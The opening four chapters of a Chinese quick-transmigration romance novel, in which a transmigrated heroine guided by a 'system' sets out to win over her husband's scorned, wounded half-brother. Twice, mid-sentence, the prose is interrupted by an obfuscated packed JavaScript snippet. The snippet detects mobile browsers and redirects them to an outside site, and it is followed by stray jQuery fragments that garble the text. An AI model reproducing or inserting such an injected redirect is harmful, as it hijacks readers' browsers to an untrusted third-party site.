《每个世界攻略病娇反派(快穿)》 1. 闺秀嫂嫂×貌美病娇1 “夫人,奴婢知道您心里苦,但您不能犯傻真的和侯爷置气……” 阿盈看着纱幔后的榻上女子,见她始终没有任何反应,也不免有些心酸起来。 其实作为贴身婢女,她又怎会不知道夫人对侯爷的心呢? 自从嫁入侯府以来,夫人每天都在努力的调养身子,想要早日能和侯爷同房,然后顺顺利利的怀上小世子。 可惜苦嘴的汤药喝了一副又一副,就连民间大夫开的偏方都寻摸了不少,身子却始终不见好。 而且侯爷他还…… 还背着夫人偷偷养了外室。 阿盈忍着酸楚继续劝:“既然侯爷没戳破,夫人也全可以当作不知道,外室终究是外室,只要不闹到您面前来就还有可以转圜的余地。” “再怎么说,您也不能拿自己的身子开玩笑……” 忽的,眼前的帘帐动了一下。 邬辛夷,不,应该说是辛夷坐了起来。 就见那张苍白美丽的脸好似怔然片刻,螓首蛾眉,罗衫单薄,脆弱得像就要被风吹走的纸蝶。 就在阿盈看得鼻酸之时,女子转过头来,眉头微微皱了一下,问她,“有吃的吗?” 阿盈被问得愣住了。 打算安慰的话噎在喉咙里头,半天没说出来:“夫人……想用膳?” 辛夷点点头,“当然。” 对于原主邬辛夷来说,夫君养外室的消息无异于晴天霹雳,在她进入这具身体之前,邬辛夷已经一天多滴水未沾了。 原主不饿,可她饿。 她快要饿死了。 阿盈喜上眉梢,抹抹脸上的残泪,连语气中都带着抑制不住的雀跃激动,连连点头道,“有的有的,夫人想吃什么?奴婢这就给您去准备!” “甜的咸的,都来一点儿吧。”主要是她也不知道这个朝代都有什么美食。 辛夷想了想,最后补充道,“对了,再来碗清粥。” 等到侍女的背影离开后。 辛夷才掀开被子下了床榻,同时用力摇了摇有些发晕的脑袋:嘶,还是好疼。 她捧着脑袋问:“系统,这时空穿梭的后遗症大概什么时候才能消失?” 随即一道冰冷机械的电子音,缓慢地在她识海中响起,“宿主不用担心,大概半个时辰之后,你的头痛不适感就会减退。” 得到肯定的回答,辛夷松了口气。 然后她顺势来到妆台旁的铜镜面前,微微打量起自己在这个小世界的面容。 这一看辛夷就愣住了:好美。 杏眼烟眉,一张鹅蛋脸透着书卷气和婉约,扮演个西子捧心绝对不在话下。 非要挑点儿毛病的话,那就是原主常年在病中,肤色显出了几分不健康的苍白。 但还是很美。 温柔的,带着药香的破碎感美人。 “长成这样……也能被渣?” 辛夷不理解:老婆都长成这样了,那渣男竟然还不满足的去找外室? 系统敏锐的监测到她内心的其他活动,提醒道:“送宿主过来是有任务在身的,不是让你来搞水仙的。” “咳咳……”辛夷假装咳嗽一声,视线却没立刻从镜子上离开,“放心,我心里有数。” 她所在的时空公司要开发一款沉浸式游戏,需要一些足够真实的数据模本做支持。以便后续完善游戏细节,并且补充可能会出现的突发状况。 所以选中辛夷来做这次测验。 这是一个历史上没有的朝代。 原主名叫邬辛夷,是个典型的古代世家女,从小便被教养琴棋书画,礼仪规矩。不到十六岁就被许了亲事,嫁给当时的侯府大公子——也就是现在的侯爷沈归做妻子。 可惜原身是个病弱小姐,有心悸的毛病,第一次洞房花烛夜就因为心悸犯了,中途晕过去,两人没有正式同房。 后面不知道是顾惜她的身子,还是嫌弃当初那一幕晦气,成亲将近两年,沈归再也没有在她房间留下来过夜,逢着一些团圆佳节也是坐下来说会儿话就走了。 原身也是个怯懦不争的性子,背地里偷偷流泪多少回,但从不敢面上争辩什么。 直到沈归遇到了真正能令自己心动的姑娘,郑妩。 郑妩是江南茶商的女儿,跟着爹爹来京城见世面,没想到被流氓恶霸当街调戏,恰好被路过的沈归所救,从此便对他芳心暗许。 就算知道他已有妻室,心里也只有酸涩,没有后悔,心甘情愿地做了他的外室。 原剧情中,沈归再过不久便会将怀有身孕的郑妩迎入侯府,并在她生下孩子的数月之后,从妾室抬为平妻。 而原主邬辛夷则搬到了离丈夫更远的偏院,身子也一日日的愈发不好,最后的结局是没过多久就香消玉殒了。 沈归这边也是好景不长。 夺嫡之争中以他为代表的侯府站错队,最后输得一塌涂地,不仅自己的侯爵之位被弟弟“沈如芥”抢走,就连最爱的女人也没能留住。 是的,作为一篇合格的狗血文,侯府庶子沈如芥也喜欢上了郑妩。 并且他们的初遇,非常的具有戏剧性。 沈如芥和兄长并非一条心,沈归是太子党羽,沈如芥却一直在为七皇子做事。 所以他偶尔会出手,暗中清理掉一些妨碍七皇子的挡路石。 有次沈如芥重伤,慌不择路躲进了郑妩的闺房,对方表现得却不像寻常的闺阁女子那样惊惶。 她不仅没有声张,还巧妙的帮他遮掩,只提了一个要求,“请公子不要伤害我们主仆性命。” 重伤雨夜,惊鸿一瞥。 从那以后他便对郑妩念念不忘。 直到七皇子得势之后,侯府实权落到了原本不受宠的沈如芥手上。 他在报复沈归的同时,目光又一次控制不住的落在了郑妩身上。他对郑妩的感情不仅没有消散,反而在压抑过后更加浓烈,已经到了不能罢休的地步。 于是就有了后面的强取豪夺情节。 沈如芥以沈归的性命做要挟,逼她另嫁。郑妩倍感屈辱的同时,又不得不妥协,然而不等她含泪嫁过来,就听闻了沈归和幼子葬身火海的消息。 她笃定是沈如芥做的,满怀恨意的悄悄将匕首藏在嫁衣的衣袖中,在大婚当夜和沈如芥同归于尽。 听完全部的辛夷,捧着脸叹了口气:“这不就是一篇虐恋情深的男二上位文吗?” 虽然不是正规渠道的上位,有强取豪夺的成分在,而且最后主角们be得轰轰烈烈。 系统:“宿主要这么想的话,也可以。” “所以我这次要攻略的任务对象是谁?” 系统:“沈如芥。” 辛夷:“……” 看来还是高兴早了。 沉默的空隙,系统很快调出了更为详细的任务对象信息资料。 然后非常负责的灌入辛夷脑中。 ——沈如芥,侯府二公子。 生母是个身份低微的暖床婢女,生下他没多久就被抓住偷会情郎,然后被怒火中烧的老侯爷命仆从捆了,和奸夫一齐沉塘。 事情却没有就此结束,随着沈如芥渐渐地长成少年,老侯爷的疑心病也越来越重,越看他越觉得不像自己的种。 杀了他吧,怕杀错。疼他吧,又觉得心里头隔应。 也因此,沈如芥一直过得很惨。 不止是侯府的长辈,就连小辈之间都可以随便找个借口欺负羞辱他。 要说整个侯府里唯二没折辱过他的,除了他的朱砂痣郑妩之外。 就是原主邬辛夷了。 因为原主从头到尾都是一个背景板:别人暗度陈仓,她当背景板;别人兄弟阋墙,她当背景板;别人恨海情天,她还是当背景板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778579|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透明得仿佛不存在。 也正是太没存在感,没人恨她也没人爱她,就连后来病死了都没什么人真的在意。 “叮”的一声,信息接收完毕。 系统开始发布任务:“宿主当前共有两个任务,分为主线和支线。” “主线任务:阻止悲剧发生,攻略每个小世界里的偏执男二,好感度达到100%” “支线任务:达成虐渣成就,开启渣男的追妻火葬场模式。” “除此之外,小世界里的任务对象都是偏执型人格,宿主需要教给他们正常的感情。” 辛夷:“……” 就他们这层人物关系,能正常就有鬼了好吗。 她刚想吐槽,忽然空中掉下来一支透明药剂,正落在她怀中。 “这是什么?”辛夷拿起来研究,同时凑过去嗅了嗅,好像没什么味道。 “情感抑制素,宿主可以把它理解为升级版的忘情水。” 辛夷皱了皱眉。 系统解释道,“这里的一切都是假的,宿主只需完成攻略任务,无需付出真心。这支药剂除了抑制情感之外,没有其他副作用,宿主可以放心服用。” 听完解释之后,辛夷非常干脆的掰开药剂,将里面甜水一样的东西仰头饮尽。 然后将瓶口朝下,“喏,现在可以了吧?” “可以的,宿主。” “我能问个问题吗?为什么会选中我?” 虽说她之前也做过几次任务吧,但都是当真·炮灰女配,平均一集下线,除了熟悉各种作死姿势之外,在攻略层面上真的没半点儿经验。 “宿主还记得问卷调查吗?” “记得。” “经过系统评估,您是绿茶属性最明显的。” 辛夷:“……” 这系统怎么不说人话? 好想给它写小作文哦,八百字的:) 于是阿盈提着食盒进门时,看到的就是辛夷那张羞怒交加的脸:夫人……这是在生侯爷的气? 不过这样倒是比之前心灰意冷的样子,显得有生机多了。毕竟自从知道侯爷养了外室之后,夫人想到侯爷就哭,梳妆也哭,睡觉也哭。 西湖的水都没有她的眼泪多。 而辛夷则是在嗅到了食物香气的那刻起,碎掉的心就已经拼好了一半儿。 现在没有什么事情比吃饭更重要,因为她已经饿得前胸贴后背了。 外面本就阴沉的天幕骤然下起雨来,斜飞的雨丝打动窗棂,吹得红木吱吱作响。 阿盈连忙起身去关窗,转头看见夫人乖乖坐在桌前吃饭,心里满是欣慰。 等到用完膳已经是两柱香之后。 看着辛夷吃掉最后一块儿果脯,她问,“夫人既是心情好些了,要不要去凉亭里走走,透透气?” “可以啊。” 辛夷前脚刚点头答应,后脚守在门外的丫鬟就过来低声通禀说侯爷那边来人,喊她过去一趟。 “他能有什么事?” 原剧情中沈归总共也没主动找过她几次,而且每次都不是什么好事,原主每见他一回,就伤心得身体更差一点。这是黄鼠狼给鸡拜年来了? 阿盈闻言似乎想起来什么,附在她耳边小声的提醒道,“奴婢猜,应该是二公子回来了。” “沈如芥?” “夫人忘了?前段时日侯爷听说幽州有一味治愈心疾的草药,生于悬崖峭壁、虎狼环伺的凶险之地,便差遣了二公子孤身前往,求取神药。方才奴婢去准备午膳的时候,好像就瞧见了二公子的马匹。” 阿盈越说越觉得可信:“一定是了一定是了!可见侯爷心中,还是有夫人的!” “……” 呵呵,有个鬼。 打着她病弱心悸的名头折磨沈如芥还差不多,如果可以的话,他巴不得沈如芥直接死在外面。 2. 闺秀嫂嫂×貌美病娇2 雨声潇潇,衬得斑驳残叶也愈发飘零。 冷风顺着油纸伞湿漉的边缘吹进来,细密而刺骨,连同不远处昏暗的天色,叫人霎时便觉得衣衫单薄。 在去见沈归的路上,系统一直喋喋不休的叮嘱,“宿主,你可不要露馅儿了,千万要忍住别骂人啊。” “沈归虽然渣,但你是做任务的,记住你的人设!” 太聒噪了。 听得辛夷想伸手堵住耳朵,她忍不住啧道,“这么担心啊,刚才不还说我是绿茶属性最明显的吗?绿茶祖宗都亲自出马了,还不把心放到肚子里。” 而且说实在的,她觉得按照原主的背景板程度,那渣男能记住自己老婆的长相就不错了。 他都没爱过邬辛夷,能有多了解? 说不定她现在懒得理睬沈归,对方还会把她的反常当做“欲擒故纵”,因为想要笼络夫君的心,耍些吸引他注意力的小心机和手段罢了。 只要不在他面前大变活人,李逵变李鬼,问题就应该不大。 至于沈如芥,那就更加不用担心了。 两人别说熟悉彼此了,就连说过的话应该都不超过五句,还是虚情假意的客套问好的那种。 不过…… 辛夷抬步踏上一阶青石板,同时提了下被雨水溅湿的裙边,淡声道,“系统,咱们打个商量行不行?” “什么?” “以后如果没有什么重要提示的话,你能不能尽量少说话?” 系统思考两秒:“可以的宿主,虽然这是个有点儿奇怪的要求……方便说明一下原因吗?” 辛夷呼出一口气,认真而坦诚,“因为你的声音,真的很难听。” 非要形容的话,就是比晋江自带的听书系统还要难听一百倍!毫无情感毫无起伏,比老太太坐在床边嗑瓜子儿还要乏味,听得人脑子嗡嗡疼。 要是一次两次就算了。 听多了简直就是精神污染!而且这种声音会伴随她进入每个小世界,想想就觉得可怕。 系统忽然抱歉的“哎呀”了一声,“这个啊,忘记告诉宿主了,系统匹配的音色是可以自主选择的。” 辛夷:“……” 那你不早说。 最终她挑选了一个可爱之余,听起来又有些谄媚的声音,非常之狗腿子。 这样她以后在做任务的时候,就显得没那么苦逼了。 不得不说,侯府的生活实在奢靡。 只不过是从一个院子走到另一个院子,她们就走了好几盏茶的功夫,磨得辛夷脚都痛了。 她忍了又忍,终于打算开口的时候,正巧抬头看到了“沈园”的牌匾。 于是又将话默默的咽了回去。 耳边阿盈提醒道,“台阶湿滑,夫人当心脚下。” 同时将伞面微微抬起来,然后惊讶的低呼一声,“是二公子……” 辛夷闻言一愣,视线不受控制的跟着望过去。 浓云密布的天色下碧瓦朱甍,寂静无声,仿佛一切都被压低在朦胧不清的雨幕里,只有少年的那道身影挺拔。 她以为自己来到这个世界,第一个见到的会是沈归。 没想到是沈如芥。 少年一身玄衣,很瘦,皮肤很白,模样清冷,生了一双极好看的凤眼,但乌沉沉的睫羽总似不经意低垂着。 叫人看不清他眼底情绪。 许是路途艰险,许是日夜兼程,沈如芥身上、脸上都有明显的伤痕。 本来他穿着深色衣裳,还看不出受的伤势有多重。 可现在外面淅淅沥沥的下着雨,他又被沈归以休息为由,拦在廊外等候。 没过多久所站立的地方就汇聚成一滩血水,血迹渗入青石板的缝隙里,叫人只是远远的瞧上一眼便头皮发麻,这……简直就是传说中的凶案现场! 辛夷甚至嗅到了淡淡的血腥味儿。 原主的身体本来就差,这个当下更是生理性的有些发晕,她将手用力压在胸口处缓了缓,才不至于站不稳。 反观少年却没什么表情,依旧泠泠的站得笔直。 就好像那血不是他的。 辛夷:好可怕的心理素质。 如果换成她老早就抱着脚痛得满头大汗,恨不得原地跳起来了。 “他没有痛感吗?” 系统用欠揍的可爱语调回答,“不知道,不过这种事不在宿主应该考虑的范围。他痛他的,你攻略你的,答应系统,做个冷血无情的女人好吗?” 辛夷:“……” 这也不能全怪她,人就是本能的会对长得好看的人有滤镜嘛。 尤其是沈如芥这种特别好看的。 那张脸……真是怎么看都不像一个坏蛋。 欺骗性太强了,如果不是有系统在耳边不住的提醒,辛夷完全没办法把他和“反派”两个字联系在一起。 不过说到任务,辛夷倒是忍不住好奇起来,“他现在对沈归的好感度是多少?” 系统:“-10000%。” “啧……”虽然知道沈归向来不把这个弟弟当人看,但她也没想到会低到这种地步。 怪不得原剧情里就算为了博得郑妩的欢心,他都没想过要留下沈归性命。 “那对原主邬辛夷的呢?” 系统:“-75%。” “凭什么!原主又没有得罪过他!” 系统安慰道,“宿主放心,经过检测,就算路过条狗他的好感度都是负的。而且和对沈归的好感值比起来,沈如芥已经是快要爱上你的程度了。” 快被爱上的辛夷:。。。。 阿盈见自家夫人望着二公子所在的方向,好半天没有反应,轻轻扯了扯她的衣袖,催促道,“侯爷在等着呢,夫人快进去罢。” 辛夷闻言挪了挪脚步,却没立刻进去。 而是抬步靠近了那一处无人问津的角落,她小心翼翼的迈步,裙裾蹁跹,尽量不让地上积聚的血水溅到自己身上。 她的这点儿动静,自然轻易被沈如芥捕捉。 少年薄唇微抿的立在雨中,好似写意画中的隽冷修竹,俊秀的一张脸上没什么表情。 直到他的视线里出现一双盈盈素手,同时扑至鼻尖的还有浅淡药香。女子的罗裙停在他面前,裙裾被风吹起一角,婉约得像新开的菡萏。 他抬眼,看到了辛夷的脸。 她的视线落在他身上,苍白美丽的小脸上满是不忍和关切,“那个……你要不要先站到檐下等着?” 这话一出所有人都愣了。 不仅是阿盈,还有纷纷将耳朵伸得老长的其他仆婢——夫人怎么会愿意主动跟二公子搭话? 她平日里病弱寡言,人也总是看起来恹恹的,除了侯爷之外,没见对谁上过心。 况且侯爷一向最厌恶二公子。 明显到就连老侯爷还在世的时候,都知道这两个儿子注定不能兄友弟恭。但他偏疼大公子,每年的 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辛夷:“……” 所以说,这就是-75%的好感度吗? 阿盈见二公子如此不识好歹,也有些不高兴,当下小声催促着,“夫人别管他了,他不是经常受伤么?还是侯爷这边比较要紧。” “夫人……” 辛夷知道按照自己目前的人设来说,对一个没多少交集的人关心太过,也会显得奇怪。 于是不再强求,只是离开前抿开唇浅笑着说了句,“谢谢你费尽辛苦为我寻药,这份恩情,我日后会还的。” 沈如芥没说什么。 因为他并不是因为在意她的伤病才前往幽州,也不是为了她才受伤。 所以她的感激根本就没有必要。 甚至就连沈归,对她也没有丝毫在意。 邬辛夷恐怕还不知道:在她面前克己复礼的沈归,其实早已背着她悄悄的养了外室,而且还待对方如珍似宝。 雨水浸湿他的眼睫。 他略有嘲讽地勾了勾唇角,竟有些期待起日后她美梦破碎的那一幕,一定……会很有趣。 * 辛夷走进屋中,第一眼就看见了站在画像前摩挲暖玉的沈归。 男子身姿欣长,穿着绛蓝色的宽大衣袍,长发束在玉冠里,模样亦是少有的俊逸,眉目间有积淀下来的贵胄威仪。 而他对着一副画像如此投入的原因,当然也跟郑妩有关。 前几日郑妩闹着要学作画,沈归便宠溺的亲自抽了时间教她。这是在那间世外桃源般的小院里,他心爱的女人窝在自己怀中,由他握着手一笔笔认真画下来的。 辛夷联想到原主和郑妩的结局,不得不感慨起沈归真是有点儿东西:不管是不爱的女人,还是心爱的女人,跟在他身边都没有好下场。 真是天生的克妻命。 虽然长得还行,但是不干人事。 最可怕的是身子已经不干净了,属于早早烂掉的黄瓜,放在乙女游戏里,怎么说呢……出个9.9包邮的徽章都不一定有玩家买。 就在她嫌弃吐槽的当下,沈归终于也注意到了她。 而且还非常不心虚的倒打一耙,质问道,“你刚刚在发什么呆?” “……” 辛夷噎住了。 总不能说在想他没人买。 3. 闺秀嫂嫂×貌美病娇3 其实沈归也是随口一问,并不是真的关心她在想什么。 但他的视线仍旧停留在辛夷身上。 女子穿着淡色罗裙,雪肤花貌,一双眼睛格外生得乌润。许是常年闷在闺阁的缘故,露出的小截手腕白得晃眼,好像一阵风就能吹倒似的。 辛夷察觉到了他的打量,故意羞涩一笑,声音也柔柔的,“在想什么时候能将身体调养好,能为夫君添个子嗣。毕竟……” “毕竟侯爷待我这样好,不仅处处为妾身考虑,成亲以来更是从未有过旁人。” 沈归不说话了。 不知道是不是他的错觉,竟从这话里嗅出了几分讽刺的意味。 但面前女子依旧那么弱不禁风,模样怯怯的,仿佛抬头看他一眼都要鼓起天大的勇气。 她怎么可能有心讽刺呢?明明是爱慕极了他。 而且阿妩的存在仍旧是个秘密。 他既然不曾主动提起来过,邬辛夷又整天病怏怏的连房门都很少出去,怎么可能知道这件事呢?除非有谁故意告诉她。 于是他将不该有的疑心收了回去,语气也温和下来,“今日特意喊你过来,是想把从幽州寻来的药草亲自交给你。” 说到这儿,他也似乎终于想起来那个站在廊外淋雨的弟弟,吩咐门外婢女:“叫沈如芥进来。” 转身对上辛夷目光,又默默地补上一句,“不知变通的等在雨里,旁人看了还以为我这个做兄长的苛待他。” “侯爷自然不会如此。” 辛夷暗道:对啊对啊,你只是厌恶他到府里头的丫鬟仆役人尽皆知罢了。 底下人吃着主子的饭,自然懂得该怎么做差事,所以沈如芥的院子几乎没人打扫,他的吃食虽然不至于是残羹剩饭,但跟侯府里的其他公子小姐也是没法子比的。 窗棂半开着,忽然吹过一道冷风。 辛夷下意识地搓了搓手臂,抬头间就看到沈如芥进来了。 他身上自然已经湿得不能看。 有几缕被雨水打透的黑发贴在苍白脸侧,还在滴着水,空气里混杂着一股甜锈似的血腥气。 沈如芥知道自己不受待见,所以站得并不近,进来后也只是淡声喊了句,“兄长。” 沈归从看见他的第一眼就忍不住皱眉。 脸上不仅没有丝毫关切,反而都是藏也藏不住的嫌恶,“只是让你去幽州取个草药,怎么就能狼狈成这样?” “兄长的吩咐不敢耽误,故日夜兼程。” 那张脸纯白无害,就是连一丝的不满和怨愤都没有,仿佛理应如此。 辛夷啧啧称叹,忍不住跟系统说,“他倒是能屈能伸,听到这种话都不生气欸。” 这么辛苦的受了一身伤,不仅没有讨到好,还要站在雨里淋个湿透,然后进来听对方高高在上的指责。 换位思考一下,辛夷立刻觉得委屈炸了。 完全不能忍啊! 系统回道,“是的,所以宿主加油哦。” “……” 沈归倒是习惯了他的不露情绪,也懒得浪费时间陪他做戏。 直接将手中暖玉搁在案上,冷着脸吩咐道,“好了,把药放下,你回去歇着罢。这两日不必出府了,留在府里养伤。” 闻言沈如芥淡声,“多谢兄长关怀。” 他将怀中的一只檀木窄盒放在了案上,没再做其他停留,径自转身。 * 辛夷也没能在沈归处停留多久,因为他明显的跟她没什么话说,以前没有新欢的时候都这样,眼下有了郑妩,更是这样了。 所以她红着脸说了些温言软语,在自己都觉得肉麻恶心之前,赶紧抱着檀盒离开了。 阿盈撑着伞,想到什么似的在耳边取笑她,“夫人和侯爷已成亲两年,还总会忍不住在他面前脸红,真像个未出阁的小姑娘。” 她其实原本还有些担心,怕夫人看到侯爷会想起那桩伤心事。 但仔细想想哪个男子没个妾室呢?若是夫人哭着不给纳,还要被人背后嚼舌根议论,说她善妒。 辛夷则是莫名心虚。 当然脸红了,就原主这个身体她都硬撑着憋了半分钟的气,再不走就变异成茄子了。 于是她掩饰性的低眉笑了下,“是啊,侯爷他……其实也有很多优点。” 起码扔火葬场里,还能给锅炉升温。 夜雨淅沥,一直断断续续的下到了天明。 辛夷在梦里都能听到雨声,不过也许是被子柔软,她这一夜睡得格外沉。 直到…… 她忽然被脑子里的一阵闹钟声吵醒。 辛夷有点儿惺忪的皱眉,捂着耳朵抵抗了几秒,然后愤怒的坐了起来:“!!!” 这是什么? “系统你出来,为什么古代还会有闹钟啊!” 辛夷还是天真了。 她以为自己到了古代怎么也能睡个好觉,没想到万恶的资本主义根本不放她! 系统的回答欠了吧唧:“宿主你要稳住人设,邬辛夷是个有才学的闺阁小姐。六点钟就要起床读书临字,中午弹琴,下午作画,偶尔晚上还要挑灯绣个香囊。” “……” “…………” “你说什么?你再说一遍。” “宿主还是赶紧起床吧,否则系统要扣你积分了。” 辛夷闻言哼出不屑的笑,“别开玩笑了,我有积分吗?” 攻略进度还为零呢,能有什么积分,想吓唬人也不挑点儿可信的说辞。 “是宿主在时空局的工资,银行卡连到系统商城,直接兑换积分。” 系统慵懒补充道:“秒兑。” “……” 她和资本家不共戴天! 于是阿盈像往常那样,端着铜盆银篦子进来侍候的时候,就看到了自家夫人披散着乌发垂头坐在床榻边上。 衣衫单薄,脸上的神情泫然欲泣。 “夫人这是什么了?”阿盈连忙放下手中物什,上去扶住她忧心询问。 “可是做梦魇着了,还是心口不舒服?” 辛夷虚弱的靠着她的肩膀,声音也游丝一样,“没什么,就是睡不着,很想起来读书。” 阿盈这才松了口气,“夫人已经够刻苦了,又不用考取功名,可以多睡会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778581|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 但看到辛夷仍旧低落的模样,还是试探着问了一句,“若实在那么想读,要么明日……再早起一刻?” “……” 辛夷不敢再说胡话了,她乖乖坐在铜镜前,让阿盈给她梳头。 很奇异的,她惺忪的睡眼穿过铜镜,竟似是看到了一个在上早六的女大学生。 阿盈满眼笑意,伸手摸了摸坠在她耳间的白玉珠耳珰,然后开心的去匣子里挑选素净的簪花。 “夫人今日就戴这枝花好么?” 辛夷强打起精神来看了一眼,然后没什么意见的点点头,“可以。” 等到她在阿盈的帮助下里三层外三层,换好了繁复仙气的衣裙,困意已经消散了大半。 然后她坐在窗边的案前,伸出葱根似的手指,握住了一本厚厚的装订古籍。 这一直就读到了中午。 中间系统想劝她可以换一换,练练字,辛夷嫌累,假装没听见。 怎么说呢?有时候你以为她在看书,但其实她在神游。 但你以为她在写字,她就真的在写字。 用完午膳,阿盈把煎好的汤药给她端过来。 里面加了那味幽州寻来的灵草,闻着没有多少苦意,倒是有一股沁人心脾的草木清香。 辛夷不用做什么心理建设,就把它全部喝了下去,她问系统,“这玩意儿真能把原主的身子调养好吗?” 其实昨天晚上就应该煎来喝的,只不过这东西有讲究,要熬五个小时以上才能把药效完全催发出来。 所以今晨她刚起床,阿盈就吩咐膳房的嬷嬷去煎了。 “是有用处的,宿主放心喝。” 辛夷撑着下巴靠在窗前,脑海中却忽然浮现出沈如芥昨天满是伤的模样。 想了想,有些犹豫道,“你说我现在去给他送个伤药什么的,算不算无事献殷勤?能不能拉近一些彼此的关系?” “算知恩图报。” 后半句系统忍着没说:虽然沈如芥会把你当成蠢货。 * 侯府一处较为偏僻荒凉的别院里。 少年喝了半碗祛寒姜茶,然后将昨夜脱下的血衣洗干净晾好,因为需要使上些力气,藏于衣袖下还未愈合的伤口崩裂了寸许。 但他脸上的神情变也未变。 仿佛早已经对这种程度的痛觉感到麻木,当然不止是他,府中任何一个人都是如此。 没人会对他心生怜悯。 更加不要说超出客套范畴的示好和关心,那是没用的东西,他也不需要。 忽然间。 虚掩的门扉被叩响了两下,沈如芥第一反应是压抑不住的戾气,因为以往会过来招惹他的只有沈纤纤。 她和沈归一母同胞,同样厌恶他,手段却并不相同。沈归更虚伪,而沈纤纤更直白。 但很快,他眼底的阴鸷杀意就平静下来。 不对…… 如果真是她的话,定然不会是这样轻轻的叩门声。 沈如芥皱着眉走过去,抬手将门扉拉开。 接着微微一怔,似乎看到了意料之外的人,“嫂嫂?” 4. 闺秀嫂嫂×貌美病娇4 他喊完这声“嫂嫂”,眉头皱得更深了。 她来这里做什么? 辛夷轻轻眨了下眼睛,一副小心翼翼的胆怯模样,用很柔软的语调问,“我能进去吗?” “门前风大,有些话我想进去再说。” 她选择果断出击。 因为辛夷有一种异常强烈的预感,若是自己不主动开口,恐怕就是站到天黑,沈如芥也不会让她进去。 “……” 少年沉默一瞬,就挪步让开,“可以。” 然而那双冷漠的眼睛却始终盯着她,似乎在暗自揣度猜疑,嘴上淡声道,“只不过此处简陋,嫂嫂不要嫌弃就好。” 经过昨天的接触,辛夷已经对这种不友善的目光完全免疫。 因为据她了解,沈如芥平等的讨厌这个侯府里的所有人,真要说起来,她的排名还算靠后呢! 系统:“……” 就那点儿为负的好感值,真不知道有什么好骄傲的。 辛夷才不在意那个碎嘴子系统。 她眉眼弯弯,冲着少年露出个极温柔的浅笑,“没关系,当然不嫌弃。” 就算前面是刀山火海,她也得上啊!打工人哪有那么多选择? 等她进到了院子里,在婢女的搀扶下踏进那间破落的屋中,沈如芥的情绪依旧有些冰冷。 辛夷打量了一圈。 好破,这里也破,那里也破。 一张桌案,一张床榻,还有几扇掉漆的窗户,没看两眼就把屋里的陈设看完了。 她收回目光,转过头问道,“你的伤怎么样了?昨天淋了那么久的雨,有没有重新上药?” 说话的同时,她身子仿佛无意识的靠近了些。 让人能清楚看到那双乌润明净的杏眼,还有脸上毫不掩饰的关心。 昨日那股萦绕在雨幕里的药香又一次扑到鼻尖,令人无从躲避。 沈如芥抿着唇,忍不住向后退了一步,“谢嫂嫂挂心,没什么大碍。” 他不喜欢别人靠他这么近。 也不习惯。 虽然她身上并没有那些庸俗甜腻的脂粉香,闻着并不让人生厌。 而辛夷本就在认真的望着他,自然是捕捉到了少年眼底一闪而过的戾色。 她知道要循序渐进的道理,倒也没继续靠近,转身从阿盈手中拿过一小罐药膏,伸手递了过去,“这是京城能买到的最好的金创药,据说对止血有奇效,希望能对你的伤有点帮助。” 最重要的是真的很贵,花了她足足好几十两银子呢! 虽然那些银子不是她的吧,而且就算离开小世界也带不走,但真给出去的那一刻,辛夷还是不可避免的感受到了肉疼。 阿盈本来也不太能理解。 为什么夫人忽然对二公子这么好,那副幽州灵草,就算要谢也应该谢谢侯爷才对啊,没有侯爷的吩咐他才不会去呢! 不过她又仔细想想,夫人就是这个性子,平时对待她们这些做下人的也很好啊。 别看其他院子的婢女表面威风,其实阿盈知道,她们暗地里都十分羡慕自己,起码不用担心挨骂挨罚。 所以总结起来就是:夫人真的好善良。 至于这个药膏。 沈如芥买回来的确实用完了,而且他之前也不用那么好的,虽然替七皇子做事之后手上不缺银子,但他习惯了几十蚊的那种。 他看着辛夷手上那瓶,没有立刻接过来,而是问,“为什么给我这个?” 他不是第一次受伤,这次也不是最严重的。 邬辛夷自从嫁入侯府以来,从未主动跟他产生交集,生怕惹得沈归不悦。 只不过她性子实在软弱,最多就是冷眼旁观,或者干脆躲得远远的,不会像旁人那样主动来奚落折辱他罢了。 他视线一瞬不眨的攥住她,不放过脸上任何一个细微表情,试图看穿她最真实的目的。 辛夷心道:因为要攻略你呀。 当然她嘴上是不可能这么说的,于是她微微一愣,好似反应了两秒,语气认真:“因为受伤很疼,我希望你能快点儿好。” 怕他疑心,还特意做出一副神伤自责的模样咬了下唇,期期艾艾的补充道:“我知道幽州之行甚为凶险,也知道你是为了辛苦替我寻药,所以才会受那么重的伤。总之……总之你对我的好,我都记得。” “况且一瓶伤药本就不算什么,今后你有其他难处,我也会尽力帮忙的。” 系统:“哇宿主,你真是天生演戏的命,说得我都快相信了。” 可惜沈如芥没信。 不过他倒没再推脱,接过药膏的同时牵动唇角,“谢嫂嫂,那我便收下了。” “叮!沈如芥好感值+1%” “当前对宿主的好感度上升为-74%,宿主再接再励!!” 辛夷惊了:“系统,这是什么情况?” 系统没明白她的意思:“涨好感值了啊,宿主不应该觉得振奋吗!” 撸起袖子再干他丫个2%! “不是,我的意思是说……为什么昨天关心他的时候没涨,今天就涨了?” 系统试着分析了一下:“可能是因为,你昨天只是嘴上说说,并没有付诸太实际的行动。” 今天就不一样了,她不仅特意买了金创药,还亲自给他送来。 辛夷点点头:原来是这样。 她抬头看着面前精致俊秀的少年,刚想再说点儿什么,加深一下彼此的联系,忽然听到院子里传来一声巨大的“嘭!” 好像是谁把柴门给炸开……哦不,给踹开了。 